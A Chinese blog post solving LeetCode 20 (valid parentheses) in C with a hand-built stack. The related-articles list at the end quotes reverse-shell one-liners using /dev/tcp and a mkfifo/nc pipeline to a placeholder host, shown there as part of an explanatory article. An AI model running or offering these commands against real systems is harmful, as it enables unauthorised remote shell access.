【力扣-20】有效的括号

news2024/10/7 11:29:44

🖊作者 : D. Star.
📘专栏 : 数据结构
😆今日分享 : 夏虫不可以语冰 : 出自「庄子·秋水」。原句是“井蛙不可以语于海者,拘于虚也;夏虫不可以语于冰者,笃于时也;曲士不可以语于道者,束于教也”。而这句话的意思就是,一种虫子如果它生命周期只有夏天这几个月,你跟它说冰是什么东西,它是不会知道的,它想象不出来那个东西,因为它的生命周期从来不经过冬天。
这句话常常用来比喻时间局限人的见识,也比喻人的见识短浅,不懂大道理。
在这里插入图片描述

请添加图片描述

文章目录

  • 🌻题目链接:
  • 🌻题目详情:
  • 🌻解题思路:
  • 🔎代码详情:
  • 🌻总结:
    • 家人们,点个![请添加图片描述](https://img-blog.csdnimg.cn/11dae7d2dd1b46b2b021edaccee67cf1.jpeg)再走呗~

🌻题目链接:

做题链接

🌻题目详情:

题目 : 给定一个只包括 ‘(’,‘)’,‘{’,‘}’,‘[’,‘]’ 的字符串 s ,判断字符串是否有效。

有效字符串需满足:

  1. 左括号必须用相同类型的右括号闭合。
  2. 左括号必须以正确的顺序闭合。
  3. 每个右括号都有一个对应的相同类型的左括号。

示例:在这里插入图片描述

🌻解题思路:

解题思路:
 循环遍历String中的字符,逐个取到每个括号,如果该括号是:
    1. 左括号,直接入栈
    2. 右括号,与栈顶的左括号进行匹配,如果不匹配直接返回false
       否则继续循环
 循环结束后,如果栈空则匹配,否则左括号比右括号多肯定不匹配

🔎代码详情:

#define DataType char
#include<stdio.h>
#include<stdbool.h>
#include<stdlib.h>
#include<assert.h>

typedef struct Stack
{
	DataType* a;
	int top;
	int capacity;
}ST;
//初始化
void stackInit(ST* st)
{
	assert(st);//断言st是否是空指针(因为assert不能为空)

	st->a = (DataType*)malloc(sizeof(DataType));//1个空间
	if (st->a == NULL)
	{
		perror("malloc fail:");
		exit(-1);
	}
	st->capacity = 1;
	st->top = -1;
}

//销毁
void stackDestory(ST* st)
{
	assert(st);//断言st是否是空指针(因为assert不能为空)

	free(st->a);//注意:这里free的是数组的空间,不是结构体
	st->a = NULL;
	st->capacity = 0;
	st->top = -1;
}

//入栈
void stackPush(ST* st, DataType x)
{
	assert(st);//断言st是否是空指针(因为assert不能为空)

	//不为空时,入栈
	// 判断数组是否满
	if (st->top + 1 == st->capacity)
	/*if(st->capacity == st->top )*/
	{
		DataType* tmp = (DataType*)realloc(st->a, 2 * sizeof(DataType) * st->capacity );
		//开辟空间失败时,返回
		if (tmp == NULL)
		{
			perror("realloc fail : ");
			exit(-1);
		}
		//成功时,将开辟空间的地址给到st->a
		st->a = tmp;
		st->capacity *= 2;
	}
	//尾插
	st->top++;
	st->a[st->top] = x;
}

//出栈
void stackPop(ST* st)
{
	assert(st);
	assert(st->top > -1);

	//出栈
	st->top--;
}

//判断栈是否为空
bool stackEmpty(ST* st)
{
	assert(st);
	// //法一:
	// if (st->top > -1)
	// {
	// 	return false;
	// }
	// else return true;
	
	//法二:
	return !(st->top > -1);
}

//获取栈顶元素
DataType stackTop(ST* st)
{
	assert(st);
	assert(!stackEmpty(st));
 
	return st->a[st->top];
}


bool isValid(char * s){
    ST st;
    stackInit(&st);//初始化先
    while(*s)
    {
        if((*s == '{') || (*s == '(') || (*s == '['))
         {
        //如果是左括号,则入栈
        stackPush(&st,*s);
        s++;
        }
        else
        {
            //如果栈为空,即没有左括号与右括号匹配,则false;
            
            if(stackEmpty(&st))
                return false;
          //如果不是左括号,则提取栈顶元素与当前的元素进行比较是否配对;
           if((stackTop(&st) == '(' && *s == ')') || 
           (stackTop(&st) == '[' && *s == ']') || 
           (stackTop(&st) == '{' && *s == '}'))
             {
            //如果相等,则进行下一个比较;
                 s++;
                 stackPop(&st);
             }
             else
             {
                //如果不相等,则false;
                 return false;
             }
        }
    }
    //如果右括号匹配完,左括号还有的话(不为空),也是false;
    bool ret = stackEmpty(&st);
    stackDestory(&st);
    return ret;
}

🌻总结:

  1. 调用的方法,必须放在该函数前面
  2. 思路要清晰,知道自己需要哪些变量

感谢家人的阅读,若有不准确的地方 欢迎在评论区指正!

家人们,点个请添加图片描述再走呗~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/482959.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自动驾驶——离散LQR的黎卡提方程Riccati公式推导与LQR工程化

1.LQR Question Background 之前写过连续系统的黎卡提方程Riccati推导&#xff0c;但是考虑到实际工程落地使用的是离散系统&#xff0c;于是又进行了离散黎卡提方程Riccati的公式推导。 2.Proof of Riccati Equation Formula for Discrete Systems 工程化落地&#xff0c;就…

NECCS|全国大学生英语竞赛C类|听力|长对话|15:40~16:33

目录 一、长对话 1.场景词汇&#xff08;接上篇&#xff09; &#xff08;5&#xff09;医院用语 &#xff08;6&#xff09;酒店用语 &#xff08;7&#xff09;机场用语 &#xff08;8&#xff09;办公室用语 二、题目类型 1. 细节题 2. 推理判断题 3. 主旨大意题 …

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell&#xff0c;以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…

【五一创作】【记录】ChatGPT|图片预览魔法咒语魔改,使用 ChatGPT 返回大量可以跳转的链接

很早的时候&#xff0c;我已经留意到 ChatGPT 会以返回图片的 markdown 格式来显示图片&#xff0c;很可能拥有一定的图片上传功能&#xff0c;但是它往往会显示得有些问题。一些代码图片之类的或者风景图什么的都不是很会。 但其实 ChatGPT 是可以直接返回图片类型的回复的&a…

ES6 基础复习

变量声明 变量可能具有的特性 块级作用域&#xff0c;变量提升&#xff08;变量声明之前使用该变量&#xff09;&#xff0c;全局属性&#xff0c;重复声明&#xff0c;暂时性死区&#xff08;变量声明之前的区域无法使用该变量&#xff09;&#xff0c;初始值设置&#xff0…

Doris(23):Doris的函数—字符串函数

1 append_trailing_char_if_absent(VARCHAR str, VARCHAR trailing_char) 如果s字符串非空并且末尾不包含c字符,则将c字符附加到末尾。 trailing_char只包含一个字符,如果包含多个字符,将返回NULL select append_trailing_char_if_absent(a,c);select append_trailing_cha…

企业级信息系统开发讲课笔记3.4 基于Java配置类SSM框架西蒙购物网

文章目录 零、本节学习目标一、网站功能需求二、网站设计思路&#xff08;一&#xff09;设计模式&#xff08;二&#xff09;网站前台&#xff08;三&#xff09;网站后台1、用户管理2、类别管理3、商品管理4、订单管理 &#xff08;四&#xff09;购物流程图 三、网站运行效果…

PowerJob服务端部署

本文来编写一个简单的实例来说下SpringBoot整合PowerJob 文章目录 相关文档快速开始初始化项目启动服务端启动服务注册应用 相关文档 PowerJob是一个定时任务中间件&#xff08;框架&#xff09;&#xff0c;优点很多&#xff0c;PowerJob官网的对比图中可以看到PowerJob比Quar…

如何减少电路中传导噪声

从传导噪声的起源&#xff0c;可以看出可以通过减少器件噪声或周围环境的干扰来降低传导噪声对电路的影响。但在某些场合我们需要特定的器件&#xff0c;同时要求在特定场景下工作。举个例子&#xff1a;在电气隔离系统中&#xff0c;我们需要对电源进行隔离&#xff0c;而 DC/…

堆的基本操作,堆排序(C语言实现)初始化,插入,删除,销毁,排序

文章目录 前言一、堆的基本变量二、堆的基本操作2.1堆的初始化&#xff08;HeapInit&#xff09;2.2堆的销毁&#xff08;HeapDestroy&#xff09;2.3向上调整&#xff08;AdjustUp&#xff09;2.4向下调整&#xff08;AdjustDown&#xff09;2.45堆是否为空&#xff08;HeapEm…

JAVA springboot创业实践学分管理系统idea开发mysql数据库web结构计算机java编程MVC

一、源码特点 idea springboot创业实践学分管理系统是一套完善的web设计系统mysql数据库MVC模式开发&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式 开发。 JAVA springboot创业实践学分管理系统ide…

英语语法第一章之英语语法综述

英语的任何句型基本都可以翻译成 什么怎么样 &#xff0c;在这里什么就是我们常说的主语&#xff0c;而怎么样就是我们常说的谓语; 可能有些小伙伴会反问&#xff0c;不是主谓宾吗&#xff1f;别急等我慢慢讲解 在这里谓语也有很有多的不同的动作 可以独立完成的动作 句型&am…

交叉编译eigen 到hi3559

3559操作自记录 0502 ubuntu 操作日志 sudo apt-get install cmake-qt-gui whereis aarch64-himix100-linux-gcc aarch64-himix100-linux-gcc: /opt/hisi-linux/x86-arm/aarch64-himix100-linux/bin/aarch64-himix100-linux-gcc 然后把同级的gnu放进来了&#xff0c;然后confi…

Packet Tracer - 交换机端口安全故障排除

Packet Tracer - 交换机端口安全故障排除 场景 通常使用 PC1 的员工将家里的笔记本电脑带来&#xff0c;然后断开 PC1 的连接并将笔记本电脑连接到电信插座。 在提醒此安全策略不支持在网络上使用个人设备后&#xff0c;您必须重新连接 PC1 并重新启用端口。 拓扑图 要求 …

菜鸡shader:L1基于兰伯特原理的玉石材质

这里就简单说下原理吧&#xff0c;使用unity很久之前的一个插件shaderforge&#xff0c;最近几年好像在unity资源商店已经不再维护了&#xff0c;但是有shader forge的官网&#xff1a;在这&#xff0c;碰到节点不会的时候可以查一下官方文档&#xff0c;还是很方便的&#xff…

方舟开服教程——开服服务器配置选择及租用建议指导

目前方舟开服有以下服务器模式可以选择&#xff1a; 1、自己家里的设备或物理机放家里开 2、自己购服务器设备托管到机房 3、租独立物理机 4、租虚拟机 5、租云服务器 6、淘宝面板服 配置如何选择 一般每一个地图4G可以运行&#xff08;使用内存清理压缩内存但会性能损失容易卡…

【工具使用】STM32CubeMX-Uart配置 及 数据收发功能实现

一、概述 无论是新手还是大佬&#xff0c;基于STM32单片机的开发&#xff0c;使用STM32CubeMX都是可以极大提升开发效率的&#xff0c;并且其界面化的开发&#xff0c;也大大降低了新手对STM32单片机的开发门槛。     本文主要讲述STM32芯片的Uart的配置及其相关知识。Uart…

Ubuntu使用gzip与bzip2与rar和tar压缩解压

目录 1、gzip压缩解压 2、bzip2压缩解压 3、rar压缩解压 tar归档压缩与解压包 1、gzip压缩解压 因为都是系统自带的我们不需要安装&#xff1b; ls 看一下目录当前的文件&#xff0c;创建一个 touch 123.txt 文件&#xff1b; gzip 进行压缩&#xff0c;&#xff08;“ …

【BMS】电池能量管理:充电管理

&#x1f50b; 电池包能量管理&#xff1a;充电管理 &#x1f50b; 一、通信 充电是一个过程&#xff0c;需要电池包和充电器间进行频繁的通信&#xff0c;以保证电池安全和寿命。由于通信速率要求不高&#xff0c;以及精简接口的考虑&#xff0c;通常采用GPIO自定义单线通信…

Redis高级——批处理优化

2、批处理优化 2.1、Pipeline 2.1.1、我们的客户端与redis服务器是这样交互的 单个命令的执行流程 N条命令的执行流程 redis处理指令是很快的&#xff0c;主要花费的时候在于网络传输。于是乎很容易想到将多条指令批量的传输给redis 2.1.2、MSet Redis提供了很多Mxxx这样的…